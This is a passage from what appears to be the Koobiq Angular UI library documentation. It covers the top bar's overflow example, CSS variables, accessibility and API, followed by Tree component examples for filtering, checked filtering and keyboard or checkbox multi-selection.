                        us better understand not only the Universe itself but also our place within it.
                        <br />
                        <br />
                        One of the most fascinating aspects of space is its infinity. Scientists still cannot determine
                        exactly where the Universe ends. There are theories that it may be infinite or have certain
                        boundaries. This opens up many questions about what lies beyond the visible universe and what
                        forms of life might exist on other planets. Space research also plays a crucial role in the
                        development of technologies on Earth. Many inventions we use in everyday life were developed
                        thanks to space programs. For example, satellite navigation, communication systems, and even
                        some medical technologies have their roots in space exploration. This shows how studying space
                        can benefit humanity as a whole. Finally, space inspires creativity and dreams. Since childhood,
                        we have looked at the stars and wondered what might exist beyond our planet. Movies, books, and
                        art often draw inspiration from space, creating images that capture the imagination. This drive
                        for exploration and discovery makes space not only a scientific but also a cultural part of our
                        lives.
                    </kbq-dd>
                </kbq-dl>
            </div>
        </div>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            height: 400px;
            border-radius: var(--kbq-size-border-radius);
            border: 1px solid var(--kbq-line-contrast-less);
            background: var(--kbq-background-bg);

            .kbq-top-bar {
                border-radius: var(--kbq-size-border-radius) var(--kbq-size-border-radius) 0 0;
            }
        }

        .overflow-content-example {
            height: 100%;
            overflow-y: auto;
            scroll-behavior: smooth;
            padding: 0 var(--kbq-size-xxl);
        }

        .example-kbq-top-bar__counter {
            color: var(--kbq-foreground-contrast-tertiary);
            flex: 1;
        }

        .example-kbq-top-bar__title {
            display: inline-flex;
            white-space: nowrap;
            min-width: 100px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TopBarOverflowExample implements AfterViewInit {
    readonly isDesktop = toSignal(
        inject(BreakpointObserver)
            .observe('(min-width: 768px)')
            .pipe(
                takeUntilDestroyed(),
                map(({ matches }) => matches)
            ),
        { initialValue: true }
    );

    protected readonly scrollable = viewChild.required(CdkScrollable);

    readonly hasOverflow: WritableSignal<boolean | undefined> = signal(false);

    readonly actions: ExampleAction[] = [
        {
            id: 'search',
            icon: 'kbq-magnifying-glass_16',
            color: KbqComponentColors.Contrast,
            style: KbqButtonStyles.Transparent
        },
        { id: 'list', icon: 'kbq-list_16', color: KbqComponentColors.Contrast, style: KbqButtonStyles.Transparent },
        { id: 'filter', icon: 'kbq-filter_16', color: KbqComponentColors.Contrast, style: KbqButtonStyles.Transparent },
        { id: 'button1', text: 'Add object', color: KbqComponentColors.Contrast, style: '', alwaysVisible: true },
        { id: 'button2', text: 'Button', color: KbqComponentColors.ContrastFade, style: '' }
    ];

    protected readonly PopUpPlacements = PopUpPlacements;
    protected readonly KbqComponentColors = KbqComponentColors;
    protected readonly KbqButtonStyles = KbqButtonStyles;

    ngAfterViewInit() {
        this.scrollable()
            .elementScrolled()
            .pipe(auditTime(300))
            .subscribe(() => this.hasOverflow.set(this.scrollable().measureScrollOffset('top') > 0));
    }

    // only show tooltip on button icon
    canTooltipBeAppied(action: ExampleAction): boolean {
        return (!!action.text && this.isDesktop()) || (!action.icon && !!action.text);
    }
}
```

The example above keeps the toolbar outside the scrolling area, which needs no configuration at all. To make
the toolbar itself stick, set `--kbq-top-bar-inset-block-start: 0` on it and put it inside the scrolling element:
`--kbq-top-bar-position` is already `sticky`, but a sticky box is only offset once it has an inset, so with
the default `auto` the toolbar lays out exactly like `position: relative`.

Panels opened from the page content paint above the toolbar. To have them slide under it, see
[Panels under a sticky header](https://koobiq.io/en/components/core.md#panels-under-a-sticky-header).

#### CSS variables

The inputs cover the shadow and the accessible name; everything else is configured through custom
properties set on `kbq-top-bar` itself. The defaults are declared on the element, so a value set on an ancestor
does not reach it.

| Variable                                  | Default                                    | Description                                                                                                                          |
| ----------------------------------------- | ------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------ |
| `--kbq-top-bar-z-index`                   | `990`                                      | Layer of the toolbar: above page content and the `kbqOverlayLayer` layer (`980`), below the CDK overlay container (`1000`).          |
| `--kbq-top-bar-position`                  | `sticky`                                   | `position` of the host. On its own it changes nothing — see `--kbq-top-bar-inset-block-start`.                                       |
| `--kbq-top-bar-inset-block-start`         | `auto`                                     | Distance a sticky toolbar keeps from the top of its scrolling ancestor. `auto` imposes no constraint, so the toolbar does not stick. |
| `--kbq-top-bar-padding-vertical`          | `var(--kbq-size-m)`                        | Vertical padding of the toolbar.                                                                                                     |
| `--kbq-top-bar-padding-horizontal`        | `var(--kbq-size-xxl)`                      | Horizontal padding of the toolbar.                                                                                                   |
| `--kbq-top-bar-border-radius`             | `0`                                        | Corner radius of the toolbar.                                                                                                        |
| `--kbq-top-bar-title-height`              | `var(--kbq-size-3xl)`                      | Minimum height of `[kbqTopBarTitle]`, the box of a `size="big"` breadcrumb item.                                                     |
| `--kbq-top-bar-spacer-min-width`          | `80px`                                     | Width of `[kbqTopBarSpacer]`, the guaranteed clearance between the two sides.                                                        |
| `--kbq-top-bar-container-start-min-width` | `0`                                        | Width the `start` container never shrinks below. Set it whenever the left-hand content has to stay readable in a narrow toolbar.     |
| `--kbq-top-bar-container-start-gap`       | `0`                                        | Gap between the elements of the `start` container.                                                                                   |
| `--kbq-top-bar-container-end-gap`         | `var(--kbq-size-s)`                        | Gap between the elements of the `end` container, and between the overflowing action buttons.                                         |
| `--kbq-top-bar-background`                | `var(--kbq-background-bg)`                 | Background of the toolbar.                                                                                                           |
| `--kbq-top-bar-shadow-bottom`             | `var(--kbq-shadow-overflow-normal-bottom)` | Shadow drawn while `withShadow` is set.                                                                                              |
| `--kbq-top-bar-shadow-transition`         | `ease-out 300ms`                           | Transition of that shadow.                                                                                                           |

#### Accessibility

`kbq-top-bar` ships without a landmark role on purpose: the same toolbar is the page header in one place and
a panel header in another, and a page may expose only one `banner`. Pick the semantics at the call site.

When the toolbar is the page header, give it the banner landmark — wrapping it in a `<header>` that is not
nested in `<main>`, `<article>` or `<section>` does the same thing:

```html
<kbq-top-bar role="banner">…</kbq-top-bar>
```

Whenever a page renders more than one toolbar, name each of them so assistive technology can tell them apart:

```html
<kbq-top-bar role="banner" aria-label="Dashboards">…</kbq-top-bar>
```

Use `role="toolbar"` only if the toolbar implements roving focus itself: a toolbar is expected to be a single
tab stop whose controls are reached with the arrow keys. Without that, leave the buttons as ordinary tab
stops. The icon-only buttons a toolbar usually carries — the overflow trigger included — need an `aria-label`
of their own, which the toolbar cannot supply.

### API

#### Components

##### KbqTopBar (component)

Toolbar row for the top of a page or a panel. It expects two `[kbqTopBarContainer]` slots —
`placement="start"` and `placement="end"` — with an optional `[kbqTopBarSpacer]` between them.

The host carries no landmark role on purpose: the same bar is page chrome in one place and a panel
header in another, and a page may hold only one `banner`. Add `role="banner"` (or wrap the bar in a
`<header>`) where it is the page header.

```ts
@Component({ selector: 'kbq-top-bar' })
class KbqTopBar {
    readonly withShadow = input<boolean>(false);
    readonly ariaLabel = input<string | null>(null, {
        alias: 'aria-label'
    });
}
```

- `[withShadow]`: `boolean` — Applies the `kbq-top-bar_with-shadow` modifier, which draws the bottom shadow used to signal that
  page content is scrolled under the bar.
- `[aria-label]`: `string | null` — Accessible name of the bar. Set it alongside a landmark role whenever a page renders more than one
  bar, so assistive technology can tell them apart.

#### Directives

##### KbqTopBarContainer (directive)

Marks a slot inside `kbq-top-bar` and applies `kbq-top-bar-container_start` or
`kbq-top-bar-container_end` according to `placement`.

```ts
@Directive({ selector: '[kbqTopBarContainer]' })
class KbqTopBarContainer {
    readonly placement = input.required<'start' | 'end'>();
}
```

- `[placement]`: `'start' | 'end'` — Side of the bar the slot occupies. Required; the accepted values are `start` and `end`.

##### KbqTopBarSpacer (directive)

Separator between the two `[kbqTopBarContainer]` slots of a `kbq-top-bar`. It reserves
`--kbq-top-bar-spacer-min-width` of guaranteed clearance, so the two sides never collide.

```ts
@Directive({ selector: '[kbqTopBarSpacer]' })
class KbqTopBarSpacer {}
```

##### KbqTopBarTitle (directive)

Marks the page title of `kbq-top-bar` and sizes it like `size="big"` breadcrumbs, so the bar keeps
its height and the text its baseline when a page swaps the trail for a title.

```ts
@Directive({ selector: '[kbqTopBarTitle]' })
class KbqTopBarTitle {}
```

## Tree

- Entry point: `@koobiq/components/tree`
- NgModule: `KbqTreeModule`
- Page: https://koobiq.io/en/components/tree/overview

### Overview

A hierarchical list (tree) is a tree-structured catalog for working with large amounts of data.

**Example: Tree** (`tree-overview`)

```ts tree-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'components-dev': {
            alert: '',
            badge: ''
        },
        'docs-examples': '',
        'angular-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

@Component({
    selector: 'tree-overview-example',
    imports: [
        KbqTreeModule,
        FormsModule
    ],
    template: `
        <kbq-tree-selection [dataSource]="dataSource" [treeControl]="treeControl" [(ngModel)]="modelValue">
            <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding [disabled]="node.name === 'tests'">
                <span [innerHTML]="treeControl.getViewValue(node)"></span>
            </kbq-tree-option>

            <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                <kbq-tree-node-toggle [node]="node" />

                <span [innerHTML]="treeControl.getViewValue(node)"></span>
            </kbq-tree-option>
        </kbq-tree-selection>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeOverviewExample {
    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    modelValue: any = '';

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        const nodeType = node.type ? `.${node.type}` : '';

        return `${node.name}${nodeType}`;
    };
}
```

#### When to use

When you need to provide the user with convenient access to a large amount of data (hundreds of items). Either the user can organize this data into a tree-structured catalog, or the data already arrives in this form from the system. If these conditions are not met, it is better to use a [regular list](https://koobiq.io/en/components/list.md).

#### Component structure

- Name
- Item icons _(optional)_
- Additional action button for the item _(optional)_
- Expand and Collapse buttons
- Checkbox _(optional)_
- Search through items _(optional)_

#### How it works

##### List with tree and text search

If a search query is entered, only the following items are shown in the tree:

- items that match the search query;
- items that are parents of items found by the search query.

Text matching the search query in the item name is highlighted in bold.

**Example: Tree filtering** (`tree-filtering`)

```ts tree-filtering-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqHighlightModule } from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'components-dev': {
            alert: '',
            badge: ''
        },
        'koobiq-examples': '',
        'koobiq-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

@Component({
    selector: 'tree-filtering-example',
    imports: [KbqInputModule, FormsModule, KbqTreeModule, KbqHighlightModule],
    template: `
        <kbq-form-field>
            <input kbqInput type="text" [(ngModel)]="filterValue" (ngModelChange)="onFilterChange($event)" />
        </kbq-form-field>
        <kbq-tree-selection
            class="layout-margin-top-4xl"
            [dataSource]="dataSource"
            [treeControl]="treeControl"
            [(ngModel)]="modelValue"
        >
            <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding [disabled]="node.name === 'tests'">
                <span
                    [innerHTML]="treeControl.getViewValue(node) | kbqHighlightBackground: treeControl.filterQuery"
                ></span>
            </kbq-tree-option>

            <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                <kbq-tree-node-toggle [node]="node" />

                <span
                    [innerHTML]="treeControl.getViewValue(node) | kbqHighlightBackground: treeControl.filterQuery"
                ></span>
            </kbq-tree-option>
        </kbq-tree-selection>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeFilteringExample {
    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    modelValue: any = '';
    filterValue: string = '';

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    onFilterChange(value: string): void {
        this.treeControl.applyFilter(value);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        const nodeType = node.type ? `.${node.type}` : '';

        return `${node.name}${nodeType}`;
    };
}
```

##### List with tree and filtering of selected items

**Example: Tree checked filtering** (`tree-checked-filtering`)

```ts tree-checked-filtering-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonToggleChange, KbqButtonToggleModule } from '@koobiq/components/button-toggle';
import { KbqHighlightModule } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import {
    FilterByValues,
    FilterByViewValue,
    FilterParentsForNodes,
    FlatTreeControl,
    KbqTreeFlatDataSource,
    KbqTreeFlattener,
    KbqTreeModule,
    KbqTreeSelection
} from '@koobiq/components/tree';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'mosaic-dev': {
            alert: '',
            badge: ''
        },
        'mosaic-examples': '',
        'mosaic-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

abstract class TreeParams {
    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;
    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;
    treeData: FileNode[];
    tree: KbqTreeSelection;

    constructor() {
        this.treeControl = new FlatTreeControl(this.getLevel, this.isExpandable, this.getValue, this.getViewValue);
        this.treeFlattener = new KbqTreeFlattener<FileNode, FileFlatNode>(
            this.transformer,
            this.getLevel,
            this.isExpandable,
            this.getChildren
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);
        this.dataSource.data = this.treeData = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    getLevel = (node: FileFlatNode) => node.level;

    getValue = (node: FileFlatNode) => node.name;

    getViewValue = (node: FileFlatNode): string => {
        const nodeType = node.type ? `.${node.type}` : '';

        return `${node.name}${nodeType}`;
    };

    isExpandable = (node: FileFlatNode) => node.expandable;

    getChildren = (node: FileNode) => node.children;

    transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children?.length;

        return flatNode;
    };
}

@Component({
    selector: 'tree-checked-filtering-example',
    imports: [
        FormsModule,
        KbqButtonToggleModule,
        KbqTreeModule,
        KbqHighlightModule,
        KbqIconModule,
        KbqInputModule
    ],
    template: `
        <kbq-form-field>
            <input kbqInput type="text" [(ngModel)]="filterValue" (ngModelChange)="onFilterChange($event)" />
        </kbq-form-field>
        <div class="layout-margin-top-4xl">
            <kbq-button-toggle-group #group1="kbqButtonToggleGroup" (change)="onToggleClick($event)">
                <kbq-button-toggle [checked]="true" [value]="treeStates.ALL">
                    <i kbq-icon="kbq-bell_16"></i>
                    All
                </kbq-button-toggle>
                <kbq-button-toggle [value]="treeStates.SELECTED">
                    <i kbq-icon="kbq-bell_16"></i>
                    Selected
                </kbq-button-toggle>
                <kbq-button-toggle [value]="treeStates.UNSELECTED">
                    <i kbq-icon="kbq-bell_16"></i>
                    Unselected
                </kbq-button-toggle>
            </kbq-button-toggle-group>
        </div>
        <kbq-tree-selection
            multiple="checkbox"
            [autoSelect]="false"
            [dataSource]="dataSource"
            [treeControl]="treeControl"
            [(ngModel)]="modelValue"
            (ngModelChange)="onModelValueChange($event)"
        >
            <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding [disabled]="node.name === 'tests'">
                <span
                    [innerHTML]="treeControl.getViewValue(node) | kbqHighlightBackground: treeControl.filterQuery"
                ></span>
            </kbq-tree-option>

            <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                <kbq-tree-node-toggle [node]="node" />

                <span
                    [innerHTML]="treeControl.getViewValue(node) | kbqHighlightBackground: treeControl.filterQuery"
                ></span>
            </kbq-tree-option>
        </kbq-tree-selection>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeCheckedFilteringExample extends TreeParams {
    treeControl: FlatTreeControl<FileFlatNode>;
    filterByValues: FilterByValues<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    modelValue: any = ['docs'];
    filterValue: string = '';

    readonly treeStates = {
        ALL: 0,
        SELECTED: 1,
        UNSELECTED: 2
    };

    constructor() {
        super();
        this.filterByValues = new FilterByValues<FileFlatNode>(this.treeControl);
        this.filterByValues.setValues(this.modelValue);

        this.treeControl.setFilters(
            new FilterByViewValue<FileFlatNode>(this.treeControl),
            this.filterByValues,
            new FilterParentsForNodes<FileFlatNode>(this.treeControl)
        );
    }

    onModelValueChange(values) {
        this.filterByValues.setValues(values);
    }

    onFilterChange(value: string): void {
        this.treeControl.applyFilter(value);
    }

    onToggleClick({ value }: KbqButtonToggleChange) {
        if (value === this.treeStates.ALL) {
            this.filterByValues.setValues([]);
        } else if (value === this.treeStates.SELECTED) {
            this.filterByValues.setValues(this.modelValue);
        } else if (value === this.treeStates.UNSELECTED) {
            const values = this.treeControl.dataNodes
                .filter((node) => !this.modelValue.includes(this.treeControl.getValue(node)))
                .map((node) => this.treeControl.getValue(node));

            this.filterByValues.setValues(values);
        }

        this.treeControl.applyFilter(this.filterValue || null);
    }
}
```

##### List with tree and multiple item selection

Either single or multiple selection is possible (limited at the tree level).

An item can be selected by clicking on it (in any area except the Expand/Collapse icon and the additional action button). To select multiple items with the mouse, use the Ctrl or Shift keys; to select multiple items with the keyboard, use the Space key.

Non-leaf items can be expanded and collapsed by clicking the arrow icon.

**Example: Tree multiple keyboard** (`tree-multiple-keyboard`)

```ts tree-multiple-keyboard-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'components-dev': {
            alert: '',
            badge: ''
        },
        'koobiq-examples': '',
        'koobiq-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

@Component({
    selector: 'tree-multiple-keyboard-example',
    imports: [
        KbqTreeModule,
        FormsModule
    ],
    template: `
        <kbq-tree-selection
            multiple="keyboard"
            [dataSource]="dataSource"
            [treeControl]="treeControl"
            [(ngModel)]="modelValue"
        >
            <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding [disabled]="node.name === 'tests'">
                <span [innerHTML]="treeControl.getViewValue(node)"></span>
            </kbq-tree-option>

            <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                <kbq-tree-node-toggle [node]="node" />

                <span [innerHTML]="treeControl.getViewValue(node)"></span>
            </kbq-tree-option>
        </kbq-tree-selection>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeMultipleKeyboardExample {
    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    modelValue: any = [];

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        const nodeType = node.type ? `.${node.type}` : '';

        return `${node.name}${nodeType}`;
    };
}
```

If checkboxes are enabled in the tree list, selecting multiple items is possible by clicking the checkbox.

**Example: Tree multiple checkbox** (`tree-multiple-checkbox`)

```ts tree-multiple-checkbox-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqIconModule } from '@koobiq/components/icon';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'components-dev': {
            alert: '',
            badge: ''
        },
        'koobiq-examples': '',
        'koobiq-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
